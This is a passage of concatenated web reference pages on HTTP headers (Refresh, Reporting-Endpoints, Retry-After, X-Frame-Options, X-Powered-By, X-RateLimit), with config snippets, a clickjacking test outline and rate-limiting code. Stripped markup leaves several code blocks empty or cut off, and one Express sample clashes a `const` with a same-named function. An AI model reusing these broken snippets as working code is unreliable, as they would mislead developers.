Refresh now'; ``` [PHP's `header()` documentation](https://www.php.net/manual/en/function.header.php) requires headers to go out before any output. Even stray whitespace before the opening ` location.assign('/next'), 5000)` | A JavaScript timer owned by the page | Only the last row gives your code a timer handle it can pass to `clearTimeout()`. Once document processing has scheduled a refresh, removing the meta element or clearing some other timer won't reliably cancel it. ## Common Use Cases Before adding auto-reload to a monitoring page, ask whether you need a full navigation at all. A reload replaces the whole document to update what might be one number. If people need control over the timing, give them a manual refresh. A manual reload needs nothing more than an ordinary link: ```html

The export is being prepared.

Check export status ``` Now the reader decides when the page gets replaced. For a dashboard that has to keep filters, focus or unsaved text, fetch the new values and update just those DOM elements, so the rest of the document stays put. ## Accessibility Considerations Five seconds isn't necessarily enough time to read a page, and [W3C lists timed meta redirects as a WCAG failure](https://www.w3.org/WAI/WCAG21/Techniques/failures/F40.html). A "go now" link lets people leave early, but it doesn't let them stay longer. And a JavaScript `clearTimeout()` call has no power over a refresh the header scheduled. If you need a delayed navigation that people can cancel, run the timer in JavaScript and drop both the header and the meta tag: ```html

Opening the result in five seconds.

Open result now ``` [`clearTimeout()`](https://developer.mozilla.org/en-US/docs/Web/API/Window/clearTimeout) cancels this script's own timer. The button makes this one behavior controllable; check the rest of the page against accessibility requirements separately. ## Testing Refresh Header ```bash curl -sS -D - -o /dev/null https://example.com/waiting ``` curl shows you the header but never acts on it. `curl -L` follows HTTP redirects, and this isn't one. To see the actual behavior, load the route in a browser with **Network → Preserve log** turned on. Fetching `/waiting` from JavaScript just retrieves the response; the current page doesn't navigate. So finding `Refresh` in `response.headers` doesn't tell you the page will redirect when loaded as a document. In the Network log, you're looking for the first `200`, then a second document request once the page has loaded and the delay has passed. Check both the response headers and the document's ``, since middleware might add the header while a template separately includes a meta refresh. A redirect chain can also land on a page that schedules a refresh, so keep the log from the very first URL instead of looking only at the last request. ## Related Headers - [Location](https://howhttpworks.com/headers/location) - [Retry-After](https://howhttpworks.com/headers/retry-after) - [Content-Type](https://howhttpworks.com/headers/content-type) - [Cache-Control](https://howhttpworks.com/headers/cache-control) --- # Reporting-Endpoints Header: Reporting API Setup > Reporting-Endpoints names the URLs where browsers send CSP, COOP, deprecation and crash reports. Syntax, the default endpoint, and replacing Report-To. Source: https://howhttpworks.com/headers/reporting-endpoints Last reviewed: 2026-10-04 > **TL;DR:** `Reporting-Endpoints` declares named URLs for the browser Reporting API: `Reporting-Endpoints: csp-endpoint="https://example.com/csp-reports"`. CSP's `report-to csp-endpoint`, COOP, deprecation and crash reports then deliver there. It replaces the deprecated `Report-To` header for declaring endpoints. ## Syntax ```http Reporting-Endpoints: csp-endpoint="https://example.com/csp-reports" Reporting-Endpoints: csp-endpoint="https://example.com/csp-reports", coop-endpoint="https://example.com/coop-reports" ``` Each entry is `name="url"`. URLs must be quoted and HTTPS; non-secure endpoints are ignored. The names are arbitrary tokens that other headers reference. The name `default` is special. It receives reports from features with no endpoint name of their own, such as `Permissions-Policy` violations, and reports with no associated header at all, such as deprecation reports: ```http Reporting-Endpoints: default="https://example.com/reports" ``` ## Who uses it CSP, through the `report-to` directive: ```http Reporting-Endpoints: csp-endpoint="https://example.com/csp-reports" Content-Security-Policy: default-src 'self'; report-to csp-endpoint ``` Also Cross-Origin-Opener-Policy reports (see [COOP](https://howhttpworks.com/headers/cross-origin-opener-policy)), Integrity-Policy violations, deprecation reports, and crash and intervention reports. For CSP rollout with this header, read [CSP Report-Only](https://howhttpworks.com/headers/content-security-policy-report-only). ## What the browser sends A `POST` with `Content-Type: application/reports+json` and a JSON array of reports: ```json [ { "type": "deprecation", "age": 10, "url": "https://example.com/", "user_agent": "Mozilla/5.0 ...", "body": { "id": "ExampleFeature", "message": "..." } } ] ``` Reports are queued and delivered asynchronously, often batched, so expect a delay rather than an immediate request. ## Moving off Report-To `Report-To` carries a JSON value with a group, a `max_age` and a list of endpoints: ```http Report-To: { "group": "csp-endpoints", "max_age": 10886400, "endpoints": [{ "url": "https://example.com/reports" }] } ``` Migration: add `Reporting-Endpoints` with the same URL under a name and point `report-to` at that name. While you support browsers you have not tested, send both headers. There is no `max_age` in the new header, so send it on every HTML response rather than once. ## NEL still names a group Network Error Logging has its own header whose `report_to` field names a reporting group: ```http NEL: { "report_to": "network-errors", "max_age": 2592000 } Report-To: { "group": "network-errors", "max_age": 2592000, "endpoints": [{ "url": "https://example.com/nel" }] } ``` That pairing is how NEL is documented, so a site using NEL keeps its `Report-To` header for it even after moving CSP and COOP to `Reporting-Endpoints`. ## Gotchas - Send the header on the response for the document or worker whose reports you want. Putting it only on API responses does nothing for the page. - Reports are POSTed by browsers on behalf of arbitrary visitors. Treat the bodies as untrusted data, and rate-limit the collector. - A mistyped name in `report-to` fails silently. Compare it with the header key character by character. ## Verify ```bash curl -sI https://example.com | grep -i -E 'reporting-endpoints|report-to|content-security-policy' ``` Then trigger a violation in DevTools. Chromium's Application panel has a Reporting API section listing queued reports and their delivery status. ## Related - [Content-Security-Policy](https://howhttpworks.com/headers/content-security-policy), [CSP Report-Only](https://howhttpworks.com/headers/content-security-policy-report-only) - [COOP](https://howhttpworks.com/headers/cross-origin-opener-policy), [COEP](https://howhttpworks.com/headers/cross-origin-embedder-policy) --- # Retry-After > Learn how the Retry-After header tells clients how long to wait before retrying a request. Understand its use with 503, 429, and 301 status codes. Source: https://howhttpworks.com/headers/retry-after Last reviewed: 2026-10-05 > **TL;DR:** `Retry-After` tells a client how long to wait before trying again, either as a number of seconds (`Retry-After: 120`) or as an HTTP date. Servers send it with `429 Too Many Requests` when a client hits a rate limit and with `503 Service Unavailable` during maintenance or overload. Well-behaved clients wait at least that long before retrying. ## What is Retry-After? **Retry-After** is the server saying "try again in this long." Think of it as a "back soon" sign with the exact time written on it. You'll mostly see it on rate-limited APIs, during maintenance windows, and when a server is temporarily overloaded. It tells clients when to come back, so they don't hammer a struggling server. ## How It Works A server that's temporarily unavailable or rate-limiting requests responds like this: ```http HTTP/1.1 503 Service Unavailable Retry-After: 120 Content-Type: text/plain Server is temporarily overloaded. Please try again in 2 minutes. ``` The client should wait 120 seconds before sending another request. ## Value Formats ### Seconds (Delay) The number of seconds to wait: ```http Retry-After: 60 ``` Wait 60 seconds, then retry. ### HTTP Date A specific date and time to retry after: ```http Retry-After: Wed, 15 Jan 2025 16:00:00 GMT ``` Hold off until that moment. ## Common Use Cases ### Rate Limiting (429 Too Many Requests) The client has called the API too often: ```http HTTP/1.1 429 Too Many Requests Retry-After: 3600 Content-Type: application/json { "error": "Rate limit exceeded", "message": "You can make 100 requests per hour. Try again in 1 hour." } ``` ### Server Maintenance (503 Service Unavailable) A planned maintenance window with a known end time: ```http HTTP/1.1 503 Service Unavailable Retry-After: Wed, 15 Jan 2025 18:00:00 GMT Content-Type: text/html

Scheduled Maintenance

We'll be back at 6 PM GMT.

``` ### Server Overload (503 Service Unavailable) A short-lived capacity problem: ```http HTTP/1.1 503 Service Unavailable Retry-After: 30 Content-Type: application/json { "error": "Server overloaded", "message": "Please retry in 30 seconds" } ``` ### Redirects (301/302 with delay) On a redirect, Retry-After asks the client to wait before following the new location. The spec allows it, but you'll rarely see it in practice: ```http HTTP/1.1 302 Found Location: https://example.com/new-location Retry-After: 5 ``` ## Rate Limiting Patterns ### Fixed Window The counter resets at set intervals: ```http HTTP/1.1 429 Too Many Requests Retry-After: 1800 X-RateLimit-Limit: 100 X-RateLimit-Remaining: 0 X-RateLimit-Reset: 1642781234 ``` ### Sliding Window The limit is based on recent request history: ```http HTTP/1.1 429 Too Many Requests Retry-After: 300 X-RateLimit-Limit: 100 X-RateLimit-Window: 3600 ``` ### Token Bucket Tokens refill at a steady rate: ```http HTTP/1.1 429 Too Many Requests Retry-After: 60 X-RateLimit-Tokens: 0 X-RateLimit-Refill-Rate: 10 ``` ## Client Implementation ### JavaScript Fetch with Retry This version gives up after three retries, so a server that keeps answering 429 can't trap the client in a loop: ```javascript async function fetchWithRetry(url, options = {}, retries = 3) { try { const response = await fetch(url, options) if ((response.status === 429 || response.status === 503) && retries > 0) { const retryAfter = response.headers.get('Retry-After') if (retryAfter) { const delay = isNaN(retryAfter) ? new Date(retryAfter) - new Date() : parseInt(retryAfter) * 1000 console.log(`Rate limited. Waiting ${delay}ms...`) await new Promise((resolve) => setTimeout(resolve, delay)) // Retry the request return fetchWithRetry(url, options, retries - 1) } } return response } catch (error) { throw error } } ``` ### Exponential Backoff Pair the header with exponential backoff, so clients still spread out their retries when the header is missing: ```javascript async function fetchWithBackoff(url, maxRetries = 3) { for (let attempt = 0; attempt < maxRetries; attempt++) { try { const response = await fetch(url) if (response.ok) return response if (response.status === 429 || response.status === 503) { const retryAfter = response.headers.get('Retry-After') const seconds = Number(retryAfter) const dateDelay = new Date(retryAfter) - Date.now() const baseDelay = retryAfter && Number.isFinite(seconds) ? seconds * 1000 // delay-seconds form : dateDelay > 0 ? dateDelay : 1000 // HTTP-date form, else 1s const delay = baseDelay * Math.pow(2, attempt) // Exponential backoff await new Promise((resolve) => setTimeout(resolve, delay)) continue } throw new Error(`HTTP ${response.status}`) } catch (error) { if (attempt === maxRetries - 1) throw error const delay = 1000 * Math.pow(2, attempt) await new Promise((resolve) => setTimeout(resolve, delay)) } } } ``` ## Server Implementation ### Express.js Rate Limiting ```javascript const rateLimit = require('express-rate-limit') const limiter = rateLimit({ windowMs: 15 * 60 * 1000, // 15 minutes limit: 100, // express-rate-limit v7+: `limit` (formerly `max`) standardHeaders: 'draft-7', // emits RateLimit and RateLimit-Policy legacyHeaders: false, handler: (req, res) => { const retryAfter = Math.max(1, Math.ceil((req.rateLimit.resetTime - Date.now()) / 1000)) // resetTime is a Date res.set('Retry-After', String(retryAfter)) res.status(429).json({ error: 'Too Many Requests', retryAfter }) } }) app.use('/api', limiter) ``` ### Maintenance Mode ```javascript app.use((req, res, next) => { if (process.env.MAINTENANCE_MODE === 'true') { const maintenanceEnd = new Date('2025-01-15T18:00:00Z') const retryAfter = Math.ceil((maintenanceEnd - new Date()) / 1000) res.set('Retry-After', retryAfter) return res.status(503).json({ error: 'Service Unavailable', message: 'Scheduled maintenance in progress', retryAfter: retryAfter, maintenanceEnd: maintenanceEnd.toISOString() }) } next() }) ``` Once `maintenanceEnd` passes, the value goes negative, so turn maintenance mode off on time. ## Getting Retry-After right **1. Send it with every 429 and 503:** ```http HTTP/1.1 429 Too Many Requests Retry-After: 60 ``` **2. Pick realistic wait times:** ```text Rate limiting: 60-3600 seconds Server overload: 10-60 seconds Maintenance: Actual maintenance duration ``` **3. Choose the format that fits the situation:** ```http ✅ Use seconds for short delays: Retry-After: 60 ✅ Use HTTP date for specific times: Retry-After: Wed, 15 Jan 2025 16:00:00 GMT ``` **4. Explain the limit in the body too:** ```json { "error": "Rate limit exceeded", "retryAfter": 3600, "limit": 100, "window": "1 hour" } ``` **5. Add jitter so clients don't all retry at once:** ```javascript const jitter = Math.random() * 0.1 // 0-10% extra, never earlier than asked const delay = retryAfter * (1 + jitter) ``` ## Common Mistakes ### Not Including Retry-After Without the header, the client has to guess: ```http ❌ HTTP/1.1 429 Too Many Requests Content-Type: application/json {"error": "Rate limited"} ✅ HTTP/1.1 429 Too Many Requests Retry-After: 3600 {"error": "Rate limited", "retryAfter": 3600} ``` ### Unrealistic Retry Times ```http ❌ Retry-After: 86400 (24 hours is too long) ✅ Retry-After: 3600 (1 hour is reasonable) ``` ### Inconsistent Format ```http ❌ Sometimes seconds, sometimes minutes ✅ Always use seconds or always use HTTP dates ``` ## Implementing Exponential Backoff with Retry-After When a client gets a 429 or 503 with `Retry-After`, it should wait at least the time the server asked for. The catch: if thousands of clients all wake up the moment that period ends, they hit the server together and knock it over again. That's the thundering herd problem. Adding a little random jitter on top of the delay (up to 10% extra) spreads those retries out. When there's no `Retry-After` header, exponential backoff is the usual fallback. Wait 1 second before the first retry, 2 before the second, 4 before the third, and so on. Cap the delay at something like 30 to 60 seconds, and set a maximum retry count so clients eventually give up. ## Related Headers - [X-RateLimit-\*](https://howhttpworks.com/headers/x-ratelimit) - Additional rate limiting information - [Cache-Control](https://howhttpworks.com/headers/cache-control) - Caching directives - [Location](https://howhttpworks.com/headers/location) - Used with redirect status codes - [Date](https://howhttpworks.com/headers/date) - Current server time for date calculations --- # Sec-Fetch-Dest Header: All Values Explained > Sec-Fetch-Dest tells the server where a response will be used: document, iframe, image, script, empty. Full value list and server-side uses. Source: https://howhttpworks.com/headers/sec-fetch-dest Last reviewed: 2026-10-04 > **TL;DR:** `Sec-Fetch-Dest` tells your server what the browser will do with the response: render it as a `document`, put it in an `iframe`, use it as an `image`, run it as a `script`, or hand it to JavaScript (`empty`). It lets you refuse, for example, to serve a JSON endpoint to an `` tag or a private page to an ` ``` Use a harmless page you control, not a production state-changing action. The demonstration depends on aligning a framed control with the decoy. `DENY` prevents displaying that document in the frame; it does not need to detect the transparent styling or the attacker's intent. ## Migration to Content-Security-Policy For a document framed by your own app and one partner: ```http Content-Security-Policy: frame-ancestors 'self' https://partner.example.com ``` An enforced CSP containing `frame-ancestors` overrides X-Frame-Options in conforming browsers. A report-only policy does not replace enforcement. Older clients enforcing only `SAMEORIGIN` will still reject the partner; that fallback has a deliberate compatibility cost. [The CSP specification](https://w3c.github.io/webappsec-csp/#directive-frame-ancestors) also requires all ancestors to match. `default-src` does not provide a fallback for an omitted `frame-ancestors` directive. Use these combinations when moving an existing policy: | Required framing | XFO fallback | Enforced CSP directive | | --- | --- | --- | | None | `DENY` | `frame-ancestors 'none'` | | Own origin | `SAMEORIGIN` | `frame-ancestors 'self'` | | Own origin and a partner | `SAMEORIGIN` rejects partner in XFO-only clients | `frame-ancestors 'self' https://partner.example.com` | CSP accepts multiple source expressions; XFO does not accept a comma-separated partner list. Keep the partner's scheme and port correct, and check whether an intermediate portal also appears in the ancestor chain. ## Getting X-Frame-Options right Send it as an HTTP response header on the document. `` has no effect. CSP `frame-ancestors` also cannot be delivered through a meta element. ## Server Configuration Examples In an existing nginx `server` block: ```nginx add_header X-Frame-Options "SAMEORIGIN" always; add_header Content-Security-Policy "frame-ancestors 'self'" always; ``` For Apache with `mod_headers` loaded: ```apacheconf Header always set X-Frame-Options "SAMEORIGIN" Header always set Content-Security-Policy "frame-ancestors 'self'" ``` Merge the CSP directive into an existing policy rather than overwriting unrelated directives. Consult the [nginx inheritance rules](https://nginx.org/en/docs/http/ngx_http_headers_module.html#add_header) and [Apache header tables](https://httpd.apache.org/docs/2.4/mod/mod_headers.html#header) if the application or proxy also sets these fields. With Helmet installed in an existing Express app: ```javascript const helmet = require('helmet') app.use(helmet.xFrameOptions({ action: 'deny' })) ``` [Helmet's option](https://helmet.js.org/#x-frame-options) uses lowercase `deny` or `sameorigin` in configuration and emits the corresponding header. Its standalone XFO middleware does not supply a partner CSP allowlist. For a Caddy site that must never be framed: ```caddyfile app.example.com { header { X-Frame-Options DENY Content-Security-Policy "frame-ancestors 'none'" } reverse_proxy localhost:3000 } ``` The [header directive](https://caddyserver.com/docs/caddyfile/directives/header) sets the response fields. If the application already owns CSP, add `frame-ancestors` there instead of replacing the policy at the proxy. ## Testing ```bash curl -sS -D - -o /dev/null https://app.example.com/account ``` Check the final document response, then try this element from a different origin you control: ```html ``` Use the browser Console to identify the enforcing policy. Curl checks delivered headers; it does not implement framing enforcement. Test the same document from its own origin too. `DENY` should block that case; `SAMEORIGIN` can allow it when all ancestors match. To verify an ancestor-chain problem, embed a same-origin wrapper page inside a different-origin top-level page and let the wrapper frame the protected route. Network may show a successful document response even though the frame remains blank. The browser's display decision comes after fetching the response, so an access-log 200 does not prove the page was frameable. Check the actual framed URL after redirects, especially if an authentication page has a different policy. Check [MDN's compatibility data](https://developer.mozilla.org/en-US/docs/Web/HTTP/Reference/Headers/X-Frame-Options#browser_compatibility) for legacy targets rather than assuming support in every browser version. Test both same-origin and partner framing when changing a deployed policy. ## Common Errors and Solutions An iframe blocked despite `SAMEORIGIN` may have a cross-origin ancestor or a stricter CSP policy. A missing header may be caused by a location-specific nginx header configuration. Avoid multiple conflicting X-Frame-Options fields; emit one intentional value at the final response boundary. For a partner widget that still fails, first look for another CSP header with a stricter `frame-ancestors`. Multiple enforced CSP policies all apply; adding a permissive second policy does not loosen the first. Remove or revise the restrictive directive in its owning layer rather than appending another allowlist. ## Related Headers - [Content-Security-Policy](https://howhttpworks.com/headers/content-security-policy) - [Cross-Origin-Opener-Policy](https://howhttpworks.com/headers/cross-origin-opener-policy) --- # X-Powered-By Header: Remove It in Express, PHP, Next.js > X-Powered-By advertises your framework, such as Express or PHP. Remove it in Express, PHP, Next.js, ASP.NET and nginx, and why it is hygiene, not security. Source: https://howhttpworks.com/headers/x-powered-by Last reviewed: 2026-10-04 > **TL;DR:** `X-Powered-By` is a non-standard header that frameworks add to name themselves (`Express`, `PHP/8.3.12`, `ASP.NET`). Turn it off in the framework: `app.disable('x-powered-by')` in Express, `expose_php = Off` in PHP, `poweredByHeader: false` in Next.js. It is hygiene, not security. ## What it looks like ```http HTTP/1.1 200 OK X-Powered-By: Express Content-Type: text/html; charset=utf-8 ``` ```http HTTP/1.1 200 OK X-Powered-By: PHP/8.3.12 ``` It is not defined by any RFC, browsers do nothing with it, and the value format is whatever the framework chose. It is a sibling of the [Server](https://howhttpworks.com/headers/server) header; `Server` names the web server and `X-Powered-By` names the application layer behind it. ## Remove it ### Express ```javascript import express from 'express' const app = express() app.disable('x-powered-by') ``` Or use Helmet, which removes the header among its defaults: ```javascript import helmet from 'helmet' app.use(helmet()) ``` The Express security guide shows `app.disable('x-powered-by')`, and says this does not prevent a sophisticated attacker from determining that an app is running Express; it may only discourage a casual exploit. ### PHP ```ini ; php.ini expose_php = Off ``` `expose_php` defaults to on, which makes PHP send `X-Powered-By: PHP/`. The PHP manual lists it as changeable in `php.ini` only, so `ini_set()` at runtime will not work. Reload PHP-FPM or Apache afterwards. ### Next.js ```javascript // next.config.js module.exports = { poweredByHeader: false } ``` Next.js adds `x-powered-by: Next.js` by default and this option opts out. ### ASP.NET and IIS ```xml ``` ### nginx or Apache in front When the framework cannot be changed, strip it at the proxy. nginx: ```nginx location / { proxy_pass http://app; proxy_hide_header X-Powered-By; } ``` Apache with `mod_headers`: ```apache Header always unset X-Powered-By ``` `proxy_hide_header` removes the header from the upstream response before it reaches the client. Setting it at the proxy also covers several backends at once. ## How much it matters Honest accounting. Leaving the header on gives an attacker a free hint about the stack. Removing it: - stops the trivial banner grab and clears automated audit findings, - does nothing about how the framework behaves: cookie names such as `connect.sid` or `PHPSESSID`, default error pages, route shapes and static file paths all still point to the stack, - does not patch anything. Do it, because it takes one line, then put your effort into updates, dependency audits and real controls such as [Content-Security-Policy](https://howhttpworks.com/headers/content-security-policy) and [X-Content-Type-Options](https://howhttpworks.com/headers/x-content-type-options). ## Verify ```bash curl -sI https://example.com | grep -i -E '^(x-powered-by|server)' ``` Check a 404 and a 500 response as well. Error handlers and upstream proxies sometimes add their own headers separately from the normal path. ## Related - [Server](https://howhttpworks.com/headers/server) for `server_tokens off` in nginx and `ServerTokens Prod` in Apache - [X-Content-Type-Options](https://howhttpworks.com/headers/x-content-type-options), [Content-Security-Policy](https://howhttpworks.com/headers/content-security-policy) --- # X-RateLimit Headers > Learn how X-RateLimit headers inform API clients about rate limits, remaining requests, and reset times. Implement proper rate limiting in your applications. Source: https://howhttpworks.com/headers/x-ratelimit Last reviewed: 2026-10-04 > **TL;DR:** `X-RateLimit-Limit`, `-Remaining` and `-Reset` tell API clients their quota, but they are a convention, not a standard: names and reset units (Unix timestamp or seconds) differ per API. The IETF draft replaces them with `RateLimit` and `RateLimit-Policy`. ## What is X-RateLimit? The **X-RateLimit** headers inform clients about API rate limiting status. They're like a gas gauge showing "You have 950 requests left out of 1000, and your tank refills in 1 hour." These headers help clients manage their API usage, implement backoff strategies, and avoid hitting rate limits. ## How X-RateLimit Works **Client makes API request:** ```http GET /api/users HTTP/1.1 Host: api.example.com Authorization: Bearer token123 ``` **Server responds with rate limit info:** ```http HTTP/1.1 200 OK X-RateLimit-Limit: 1000 X-RateLimit-Remaining: 950 X-RateLimit-Reset: 1737216000 Content-Type: application/json {"users": [...]} ``` **Client knows:** - Limit: 1000 requests per hour - Remaining: 950 requests left - Reset: Limits reset at Unix timestamp 1737216000 ## Syntax ### Common Header Names ```http X-RateLimit-Limit: X-RateLimit-Remaining: X-RateLimit-Reset: X-RateLimit-Retry-After: ``` ### Alternative Names (Standardized) ```http RateLimit-Limit: RateLimit-Remaining: RateLimit-Reset: ``` ## Common Examples ### Basic Rate Limiting ```http X-RateLimit-Limit: 1000 X-RateLimit-Remaining: 950 X-RateLimit-Reset: 1737216000 ``` 1000 requests per window, 950 left, resets at timestamp. ### Rate Limit Exceeded ```http HTTP/1.1 429 Too Many Requests X-RateLimit-Limit: 1000 X-RateLimit-Remaining: 0 X-RateLimit-Reset: 1737216000 Retry-After: 3600 {"error": "Rate limit exceeded"} ``` ### Multiple Rate Limits ```http X-RateLimit-Limit: 1000 X-RateLimit-Remaining: 950 X-RateLimit-Reset: 1737216000 X-RateLimit-Limit-Second: 10 X-RateLimit-Remaining-Second: 8 ``` Per-hour and per-second limits. ### GitHub Style ```http X-RateLimit-Limit: 5000 X-RateLimit-Remaining: 4999 X-RateLimit-Reset: 1737216000 X-RateLimit-Used: 1 X-RateLimit-Resource: core ``` ## Real-World Scenarios ### REST API Usage ```http GET /api/repos/user/project HTTP/1.1 Authorization: Bearer gh_token HTTP/1.1 200 OK X-RateLimit-Limit: 5000 X-RateLimit-Remaining: 4950 X-RateLimit-Reset: 1737219600 X-RateLimit-Used: 50 X-RateLimit-Resource: core {"name": "project", "stars": 1234} ``` ### Approaching Limit ```http GET /api/data HTTP/1.1 HTTP/1.1 200 OK X-RateLimit-Limit: 1000 X-RateLimit-Remaining: 10 X-RateLimit-Reset: 1737216000 Warning: 199 - "Approaching rate limit" {"data": "..."} ``` ### Rate Limit Exceeded ```http GET /api/data HTTP/1.1 HTTP/1.1 429 Too Many Requests X-RateLimit-Limit: 1000 X-RateLimit-Remaining: 0 X-RateLimit-Reset: 1737216000 Retry-After: 3600 { "error": "Rate limit exceeded", "message": "Try again in 1 hour" } ``` ### Per-User Rate Limiting ```http GET /api/search HTTP/1.1 Authorization: Bearer user_token HTTP/1.1 200 OK X-RateLimit-Limit: 100 X-RateLimit-Remaining: 75 X-RateLimit-Reset: 1737216000 X-RateLimit-User: user123 {"results": [...]} ``` ## Server Implementation ### Express.js (Node.js) ```javascript const express = require('express') const rateLimit = require('express-rate-limit') const app = express() // Using express-rate-limit middleware const limiter = rateLimit({ windowMs: 60 * 60 * 1000, // 1 hour limit: 1000, // v7+ option name (formerly `max`): 1000 requests per hour standardHeaders: 'draft-7', // RateLimit and RateLimit-Policy headers legacyHeaders: true, // Also send the X-RateLimit-* headers handler: (req, res) => { res.status(429).json({ error: 'Too Many Requests', message: 'Rate limit exceeded. Try again later.' }) } }) app.use('/api', limiter) // Manual implementation const rateLimitStore = new Map() function rateLimit(req, res, next) { const identifier = req.ip || req.headers['x-forwarded-for'] const limit = 1000 const windowMs = 60 * 60 * 1000 // 1 hour const now = Date.now() const windowStart = now - windowMs // Get or create user's request history let requests = rateLimitStore.get(identifier) || [] // Remove old requests outside the window requests = requests.filter((timestamp) => timestamp > windowStart) // Check if limit exceeded if (requests.length >= limit) { const oldestRequest = Math.min(...requests) const resetTime = Math.ceil((oldestRequest + windowMs) / 1000) res.setHeader('X-RateLimit-Limit', limit) res.setHeader('X-RateLimit-Remaining', 0) res.setHeader('X-RateLimit-Reset', resetTime) res.setHeader('Retry-After', Math.ceil((oldestRequest + windowMs - now) / 1000)) return res.status(429).json({ error: 'Rate limit exceeded' }) } // Add current request requests.push(now) rateLimitStore.set(identifier, requests) // Calculate reset time const resetTime = Math.ceil((now + windowMs) / 1000) // Set rate limit headers res.setHeader('X-RateLimit-Limit', limit) res.setHeader('X-RateLimit-Remaining', limit - requests.length) res.setHeader('X-RateLimit-Reset', resetTime) next() } app.use('/api', rateLimit) ``` ### Token Bucket Algorithm ```javascript class TokenBucket { constructor(capacity, refillRate) { this.capacity = capacity this.tokens = capacity this.refillRate = refillRate this.lastRefill = Date.now() } refill() { const now = Date.now() const timePassed = now - this.lastRefill const tokensToAdd = (timePassed / 1000) * this.refillRate this.tokens = Math.min(this.capacity, this.tokens + tokensToAdd) this.lastRefill = now } consume(tokens = 1) { this.refill() if (this.tokens >= tokens) { this.tokens -= tokens return true } return false } getRemaining() { this.refill() return Math.floor(this.tokens) } } const buckets = new Map() app.use('/api', (req, res, next) => { const userId = req.user?.id || req.ip const limit = 1000 // Get or create bucket for user if (!buckets.has(userId)) { buckets.set(userId, new TokenBucket(limit, limit / 3600)) // refill per second } const bucket = buckets.get(userId) if (bucket.consume()) { res.setHeader('X-RateLimit-Limit', limit) res.setHeader('X-RateLimit-Remaining', bucket.getRemaining()) res.setHeader('X-RateLimit-Reset', Math.ceil(Date.now() / 1000) + 3600) next() } else { res.setHeader('X-RateLimit-Limit', limit) res.setHeader('X-RateLimit-Remaining', 0) res.setHeader('Retry-After', 60) res.status(429).json({ error: 'Rate limit exceeded' }) } }) ``` ### FastAPI (Python) ```python from fastapi import FastAPI, Request, HTTPException from fastapi.responses import JSONResponse import time from collections import defaultdict app = FastAPI() # Simple rate limiter rate_limit_store = defaultdict(list) RATE_LIMIT = 1000 WINDOW_SIZE = 3600 # 1 hour in seconds @app.middleware("http") async def rate_limit_middleware(request: Request, call_next): # Get client identifier client_id = request.client.host now = time.time() window_start = now - WINDOW_SIZE # Get request history requests = rate_limit_store[client_id] # Remove old requests requests = [req_time for req_time in requests if req_time > window_start] # Check limit if len(requests) >= RATE_LIMIT: oldest_request = min(requests) reset_time = int(oldest_request + WINDOW_SIZE) return JSONResponse( status_code=429, content={"error": "Rate limit exceeded"}, headers={ "X-RateLimit-Limit": str(RATE_LIMIT), "X-RateLimit-Remaining": "0", "X-RateLimit-Reset": str(reset_time), "Retry-After": str(int(reset_time - now)) } ) # Add current request requests.append(now) rate_limit_store[client_id] = requests # Process request response = await call_next(request) # Add rate limit headers reset_time = int(now + WINDOW_SIZE) response.headers["X-RateLimit-Limit"] = str(RATE_LIMIT) response.headers["X-RateLimit-Remaining"] = str(RATE_LIMIT - len(requests)) response.headers["X-RateLimit-Reset"] = str(reset_time) return response @app.get("/api/data") async def get_data(): return {"data": "example"} ``` ### Redis-Based Rate Limiting ```javascript const redis = require('redis') const client = redis.createClient() async function redisRateLimit(req, res, next) { const userId = req.user?.id || req.ip const key = `ratelimit:${userId}` const limit = 1000 const window = 3600 // 1 hour try { // Increment counter const requests = await client.incr(key) // Set expiry on first request if (requests === 1) { await client.expire(key, window) } // Get TTL for reset time const ttl = await client.ttl(key) const resetTime = Math.ceil(Date.now() / 1000) + ttl // Check limit if (requests > limit) { res.setHeader('X-RateLimit-Limit', limit) res.setHeader('X-RateLimit-Remaining', 0) res.setHeader('X-RateLimit-Reset', resetTime) res.setHeader('Retry-After', ttl) return res.status(429).json({ error: 'Rate limit exceeded' }) } // Set headers res.setHeader('X-RateLimit-Limit', limit) res.setHeader('X-RateLimit-Remaining', limit - requests) res.setHeader('X-RateLimit-Reset', resetTime) next() } catch (error) { console.error('Rate limit error:', error) next() // Fail open } } app.use('/api', redisRateLimit) ``` ## Getting X-RateLimit Headers right ### For Servers **1. Always include rate limit headers** ```http # ✅ Include on every response X-RateLimit-Limit: 1000 X-RateLimit-Remaining: 950 X-RateLimit-Reset: 1737216000 # ❌ Don't only show when limit exceeded ``` **2. Use clear, predictable limits** ```javascript // ✅ Clear per-hour limit const limits = { free: 100, basic: 1000, premium: 10000 } // ❌ Complex, hard-to-track limits const limit = Math.random() * 1000 ``` **3. Provide helpful error messages** ```json { "error": "Rate limit exceeded", "message": "You have made 1000 requests in the last hour. Limit resets at 2026-01-18T12:00:00Z", "limit": 1000, "remaining": 0, "reset": 1737216000 } ``` **4. Use Unix timestamps for reset time** ```javascript // ✅ Unix timestamp (seconds) res.setHeader('X-RateLimit-Reset', Math.floor(Date.now() / 1000) + 3600) // ❌ ISO date string (harder to parse) res.setHeader('X-RateLimit-Reset', new Date().toISOString()) ``` **5. Implement multiple rate limit tiers** ```javascript const limits = { perSecond: 10, perMinute: 100, perHour: 1000, perDay: 10000 } // Check all limits checkRateLimit(user, 'second', limits.perSecond) checkRateLimit(user, 'minute', limits.perMinute) checkRateLimit(user, 'hour', limits.perHour) ``` **6. Consider different limits for different endpoints** ```javascript // Read operations app.get('/api/data', rateLimit({ limit: 1000 })) // Write operations (stricter) app.post('/api/data', rateLimit({ limit: 100 })) // Expensive operations (very strict) app.post('/api/export', rateLimit({ limit: 10 })) ``` ### For Clients **1. Always check rate limit headers** ```javascript async function apiCall(url) { const response = await fetch(url) const limit = parseInt(response.headers.get('X-RateLimit-Limit')) const remaining = parseInt(response.headers.get('X-RateLimit-Remaining')) const reset = parseInt(response.headers.get('X-RateLimit-Reset')) console.log(`Rate limit: ${remaining}/${limit}, resets at ${new Date(reset * 1000)}`) return response.json() } ``` **2. Implement exponential backoff** ```javascript async function apiCallWithBackoff(url, maxRetries = 3) { for (let i = 0; i < maxRetries; i++) { const response = await fetch(url) if (response.status !== 429) { return response.json() } // Rate limited - wait and retry const retryAfter = parseInt(response.headers.get('Retry-After') || '60') const backoff = Math.min(retryAfter * Math.pow(2, i), 300) console.log(`Rate limited. Waiting ${backoff}s before retry ${i + 1}/${maxRetries}`) await new Promise((resolve) => setTimeout(resolve, backoff * 1000)) } throw new Error('Max retries exceeded') } ``` **3. Respect Retry-After header** ```javascript async function handleRateLimit(response) { if (response.status === 429) { const retryAfter = parseInt(response.headers.get('Retry-After')) if (retryAfter) { console.log(`Waiting ${retryAfter} seconds before 